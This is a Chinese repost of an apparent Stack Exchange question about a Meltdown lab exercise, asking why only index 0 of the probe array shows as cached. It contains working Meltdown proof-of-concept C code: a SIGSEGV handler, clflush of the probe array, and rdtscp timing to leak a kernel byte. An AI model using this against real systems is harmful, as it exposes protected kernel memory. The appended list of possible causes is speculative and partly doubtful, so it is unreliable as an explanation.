Ubuntu 16.04 32位下Meltdown攻击实验缓存异常问题问询
关于Meltdown攻击实验中缓存命中索引0的问题
实验环境与背景
- 系统:Ubuntu 16.04 32位
- CPU:Intel i5 7代
- 实验目标:利用Meltdown漏洞读取内核地址
0xfbce3000中存储的秘密值83(用户态程序无直接访问权限)
攻击核心逻辑
核心依赖CPU乱序执行特性:访问无权限地址会触发异常,但乱序执行会先执行后续缓存操作,异常回滚时不会撤销缓存修改,以此作为侧信道。核心代码如下:
char data = 99; data = *(char*) 0xfbce3000; // 权限检查失败触发异常,但乱序执行会先执行后续指令 array[data * 4096 + 1024] += 1; // 对应索引的数组元素被载入缓存
缓存命中检测方式
通过测量array[i * 4096 + 1024]的访问时间判断缓存状态:
- 缓存访问:30-80 CPU周期
- 内存访问:200+ CPU周期
- 判定阈值设为100 CPU周期
问题现象
程序运行1000次后,有时仅array[0*4096 + 1024]处于缓存中。但data初始值为99,目标秘密值为83,均不为0,无法解释索引0的来源。
完整实验代码
#define DELTA 1024 // 处理异常避免程序崩溃 static sigjmp_buf jbuf; static void catch_segv() { siglongjmp(jbuf, 1); } int main() { // 注册信号处理器 signal(SIGSEGV, catch_segv); int i; // 写入数组载入RAM,避免写时复制 for (i = 0; i < 256; i++) array[i*4096 + DELTA] = 1; // 刷新数组缓存 for (i = 0; i < 256; i++) _mm_clflush(&array[i*4096 + DELTA]); if(sigsetjmp(jbuf, 1) == 0) { char data = 99; data = *(char*) 0xfbce3000; array[data * 4096 + 1024] += 1; } else { printf("Memory access violation!\n"); } // 测量数组元素访问时间 int junk=0; register uint64_t time1, time2; volatile uint8_t *addr; int i; for(i = 0; i < 256; i++){ addr = &array[i*4096 + DELTA]; time1 = __rdtscp(&junk); junk = *addr; time2 = __rdtscp(&junk) - time1; if (time2 <= 100){ printf("array[%d*4096 + %d] is in cache.\n",i,DELTA); printf("The Secret = %d.\n",i); } } return 0; }
可能的原因分析
- 异常处理时序干扰:
siglongjmp可能在乱序执行的缓存操作完成前就终止了原代码流,导致data未被正确加载,此时寄存器可能被清零或保留无效值0,进而触发索引0的缓存加载。 - 32位系统地址截断:在32位环境下,访问内核地址
0xfbce3000时,权限检查失败可能导致读取值被异常截断为0。 - CPU硬件缓解影响:7代Intel CPU可能存在针对Meltdown的部分硬件缓解机制,导致乱序执行的缓存操作不符合预期,出现随机索引命中,0是常见的随机值之一。
- 缓存刷新不彻底:
_mm_clflush的执行存在延迟,可能导致索引0的元素未被完全刷新出缓存,后续访问被误判为命中。
内容的提问来源于stack exchange,提问作者Heisenbug
相关产品推荐
相关产品推荐

